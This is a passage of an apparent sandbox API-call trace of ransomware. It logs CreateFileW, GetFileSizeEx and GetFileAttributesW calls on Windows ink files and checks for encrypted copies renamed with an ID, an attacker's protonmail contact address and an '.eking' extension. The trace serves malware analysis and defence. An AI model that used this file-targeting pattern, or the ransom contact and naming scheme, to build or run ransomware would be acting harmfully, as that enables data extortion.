Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.708] SetEvent (hEvent=0xe0) returned 1 [0268.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.799] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2628) returned 1 [0268.799] CloseHandle (hObject=0x100) returned 1 [0268.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0268.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0268.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.800] SetEvent (hEvent=0xe0) returned 1 [0268.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.815] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2652) returned 1 [0268.815] CloseHandle (hObject=0x100) returned 1 [0268.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0268.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0268.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.816] SetEvent (hEvent=0xe0) returned 1 [0268.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.818] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2526) returned 1 [0268.818] CloseHandle (hObject=0x100) returned 1 [0268.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0268.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0268.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.819] SetEvent (hEvent=0xe0) returned 1 [0268.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.821] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2522) returned 1 [0268.821] CloseHandle (hObject=0x100) returned 1 [0268.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0268.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0268.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.821] SetEvent (hEvent=0xe0) returned 1 [0268.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.823] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2568) returned 1 [0268.823] CloseHandle (hObject=0x100) returned 1 [0268.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0268.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0268.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.823] SetEvent (hEvent=0xe0) returned 1 [0268.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.825] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=40960) returned 1 [0268.825] CloseHandle (hObject=0x100) returned 1 [0268.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0268.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0268.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.825] SetEvent (hEvent=0xe0) returned 1 [0268.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.827] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2626) returned 1 [0268.827] CloseHandle (hObject=0x100) returned 1 [0268.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0268.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0268.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.827] SetEvent (hEvent=0xe0) returned 1 [0268.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.829] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2580) returned 1 [0268.829] CloseHandle (hObject=0x100) returned 1 [0268.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0268.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0268.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.829] SetEvent (hEvent=0xe0) returned 1 [0268.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.832] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2600) returned 1 [0268.832] CloseHandle (hObject=0x100) returned 1 [0268.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0268.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0268.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.833] SetEvent (hEvent=0xe0) returned 1 [0268.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.834] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=94720) returned 1 [0268.834] CloseHandle (hObject=0x100) returned 1 [0268.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0268.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0268.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.835] SetEvent (hEvent=0xe0) returned 1 [0268.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.836] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2246) returned 1 [0268.836] CloseHandle (hObject=0x100) returned 1 [0268.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0268.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0268.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.836] SetEvent (hEvent=0xe0) returned 1 [0268.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.838] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2240) returned 1 [0268.838] CloseHandle (hObject=0x100) returned 1 [0268.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0268.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0268.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.838] SetEvent (hEvent=0xe0) returned 1 [0268.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.839] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2644) returned 1 [0268.839] CloseHandle (hObject=0x100) returned 1 [0268.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0268.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0268.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.840] SetEvent (hEvent=0xe0) returned 1 [0268.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.842] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2542) returned 1 [0268.842] CloseHandle (hObject=0x100) returned 1 [0268.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0268.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0268.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.843] SetEvent (hEvent=0xe0) returned 1 [0268.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.844] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2568) returned 1 [0268.845] CloseHandle (hObject=0x100) returned 1 [0268.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0268.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0268.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.848] SetEvent (hEvent=0xe0) returned 1 [0268.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.849] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2596) returned 1 [0268.849] CloseHandle (hObject=0x100) returned 1 [0268.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0268.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0268.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.850] SetEvent 